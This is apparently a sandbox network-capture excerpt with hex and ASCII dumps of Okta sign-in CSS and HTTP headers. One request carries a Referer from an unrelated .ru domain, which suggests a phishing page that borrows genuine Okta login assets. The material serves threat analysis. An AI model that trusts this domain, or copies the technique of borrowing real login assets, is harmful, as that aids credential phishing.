2025-03-25 17:08:19 UTC	16384	IN	Data Raw: 74 61 69 6e 65 72 20 2e 6f 2d 66 6f 72 6d 2d 74 6f 6f 6c 62 61 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 77 72 61 70 20 2e 6f 2d 66 6f 72 6d 2d 74 6f 6f 6c 62 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 31 70 78 20 31 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6f 2d 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 77 72 61 70 20 2e 6f 2d 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 77 72 61 Data Ascii: tainer .o-form-toolbar,#okta-sign-in .simplemodal-wrap .o-form-toolbar{border-radius:0;border-width:0 1px 1px}#okta-sign-in .simplemodal-container .o-form-content,#okta-sign-in .simplemodal-wrap .o-form-content{overflow:auto}#okta-sign-in .simplemodal-wra
2025-03-25 17:08:19 UTC	16384	IN	Data Raw: 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2e 6d 61 72 67 69 6e 2d 62 74 6d 2d 30 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 6c 61 62 65 6c 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 6c 61 62 65 6c 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 6f 2d Data Ascii: hild{margin-bottom:15px}#okta-sign-in .o-form .o-form-fieldset.margin-btm-0{margin-bottom:0}#okta-sign-in .o-form .o-form-label,#okta-sign-in .o-form input,#okta-sign-in .o-form label,#okta-sign-in .o-form textarea{font-size:14px}#okta-sign-in .o-form .o-
2025-03-25 17:08:19 UTC	16384	IN	Data Raw: 74 6f 6d 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 76 69 73 69 74 65 64 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 31 36 36 32 64 64 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 63 6f 6c 6f 72 3a 23 31 36 36 32 64 64 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 Data Ascii: tom-button.link-button:visited{text-decoration:none}#okta-sign-in .button-secondary.link-button{background-color:#fff;border:1px solid #1662dd;border-radius:3px;box-sizing:border-box;color:#1662dd;display:block;font-size:14px;margin-top:15px;text-align:ce
2025-03-25 17:08:19 UTC	286	IN	Data Raw: 6e 73 65 6e 74 20 2e 73 63 6f 70 65 2d 69 74 65 6d 20 2e 73 63 6f 70 65 2d 69 74 65 6d 2d 74 65 78 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 38 35 25 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 73 63 6f 70 65 2d 69 74 65 6d 20 2e 73 63 6f 70 65 2d 69 74 65 6d 2d 74 6f 6f 6c 74 69 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 73 63 6f 70 65 2d 69 74 65 6d 20 2e 73 63 6f 70 65 2d 69 74 65 6d 2d 74 6f 6f 6c 74 69 70 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 Data Ascii: nsent .scope-item .scope-item-text{word-wrap:break-word;float:left;width:85%}#okta-sign-in .consent-required .scope-item .scope-item-tooltip,#okta-sign-in .granular-consent .scope-item .scope-item-tooltip{float:right;margin-right:16px}#okta-sign-in .conse
2025-03-25 17:08:19 UTC	16384	IN	Data Raw: 6e 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 6f 6e 73 65 6e 74 2d 64 65 73 63 72 69 70 74 69 6f 6e 20 70 7b 63 6f 6c 6f 72 3a 23 36 65 36 65 37 38 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 20 61 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 Data Ascii: n p,#okta-sign-in .granular-consent .consent-description p{color:#6e6e78}#okta-sign-in .consent-required .consent-footer,#okta-sign-in .granular-consent .consent-footer{text-align:center}#okta-sign-in .consent-required .consent-footer a,#okta-sign-in .gra

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:19 UTC	649	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://nz.freshmnind.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 17:08:19 UTC	768	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Mon, 17 Mar 2025 17:37:07 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Tue, 17 Mar 2026 17:37:07 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 33b70e58e860e3444a806072eb0401a6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: hkGr6l-15djBjuFiBz_Ww7n78ofQLlIVjw8CkKDkkkCgS27sOQ6sgg== Age: 689472
2025-03-25 17:08:19 UTC	10498	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t